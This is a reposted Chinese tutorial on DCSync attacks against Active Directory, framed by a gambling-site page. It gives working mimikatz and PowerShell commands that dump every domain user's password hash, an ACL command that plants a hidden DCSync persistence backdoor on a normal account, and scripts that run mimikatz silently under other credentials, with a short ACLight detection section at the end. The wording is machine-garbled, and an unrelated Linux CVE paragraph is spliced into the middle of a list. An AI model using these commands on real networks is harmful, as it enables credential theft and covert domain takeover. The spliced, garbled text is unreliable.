域渗入——DCSync | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

域渗入——DCSync

申博_安全防护 申博 37次浏览 未收录 0个评论

0x00 媒介

DCSync是域渗入中经常会用到的手艺,本文会对开源的材料举行整顿,连系本身的履历,总结应用和防备检测的要领。

0x01 简介

本文将要引见以下内容:

· 应用DCSync导出域内一切用户hash的要领。

· 应用DCSync在域内保持权限的要领。

· 自动化检测DCSync后门的要领。

0x02 应用DCSync导出域内一切用户hash的要领

DCSync是mimikatz在2015年增加的一个功用,由Benjamin DELPY gentilkiwi和Vincent LE TOUX配合编写,可以用来导出域内一切用户的hash。

应用前提:

取得以下任一用户的权限:

· Administrators组内的用户。

· Domain Admins组内的用户。

· Enterprise Admins组内的用户。

· 域控制器的计算机帐户。

应用道理:

应用DRS(Directory Replication Service)协定经由过程IDL_DRSGetNCChanges从域控制器复制用户凭证。

参考材料: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

完成代码:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

应用要领:

1.运用mimikatz

导出域内一切用户的hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内administrator帐户的hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2.powershell完成

https://gist.github.com/monoxgas/9d238accd969550136db

经由过程Invoke-ReflectivePEinjection挪用mimikatz.dll中的dcsync功用。

导出域内一切用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

注:取得了域内用户的hash后,进一步应用可参考之前的文章:

《域渗入——Pass The Hash的完成》

《渗入技能——Pass the Hash with Remote Desktop》

《域渗入——Pass The Hash & Pass The Key》

0x03 应用DCSync在域内保持权限的要领

应用前提:

取得以下任一用户的权限:

· Domain Admins组内的用户。

· Enterprise Admins组内的用户。

应用道理:

向域内的一个普通用户增加以下三条ACE(Access Control Entries):

· DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

· DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Linux本地提权漏洞(CVE-2019-13272)预警

2019年07月20日,Linux正式修复了一个本地内核提权漏洞。通过此漏洞,攻击者可将普通权限用户提升为Root权限。 漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数。但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用。 PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。如果恶意低权限子进程使用PTRACE_TRACEME并且该子进程的父进程具有高权限,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程。攻击者最终控制具有高权限的两个进程ptrace关系,可以被用来ptr

· DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可取得应用DCSync导出域内一切用户hash的权限。

完成代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

应用要领:

增加ACE的敕令以下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除ACE的敕令:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注:关于更多ACL的内容可参考之前的文章:《渗入技能——Windows下的Access Control List》

运用域用户test1挪用DCSync的要领以下:

1.在域内一台登录了test1用户的主机上面,直接运用mimikatz的DCSync功用

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

2.运用runas完成登录test1用户,再运用DCSync

(1)弹出cmd

runas /noprofile /user:test\test1 cmd

弹出的cmd下实行以下敕令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2)不弹框完成

runas /noprofile /user:test\test1 c:\test\1.bat

1.bat的内容以下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:同类的东西另有lsrunas、lsrunase和CPAU。

3.运用powershell完成登录test1用户,再运用DCSync

(1)弹出cmd

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "cmd.exe" -Credential $cred

弹出的cmd下实行以下敕令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2)不弹框完成

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat的内容以下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:运用wmic在本机完成登录用户test1会失利,毛病以下:

ERROR:
Description = User credentials cannot be used for local connections

0x04 自动化检测DCSync后门的要领

具有高权限但不在高权限组的用户被称之为Shadow Admin,比方0x03中的域用户test1,仅经由过程查询高权限组的成员没法发明域内的Shadow Admin。

检测道理:

罗列Active Directory中一切用户的ACL,标记出特权帐户。

完成代码:

https://github.com/cyberark/ACLight

应用前提:

· Powershell v3.0。

· 域内普通用户权限。

检测要领:

实行项目中的Execute-ACLight2.bat

天生三个文件:

· Privileged Accounts – Layers Analysis.txt

· Privileged Accounts Permissions – Final Report.csv

· Privileged Accounts Permissions – Irregular Accounts.csv

文件中会显示出一切特权帐户。

经测试,ACLight可以检测出被增加DCSync权限的用户test1。

0x05 小结

本文引见了域渗入中DCSync的应用和自动化检测的要领,站在防备的角度,发起运用ACLight对域环境的用户ACL举行检测。

明原文地点: https://www.4hou.com/penetration/19448.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明域渗入——DCSync
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址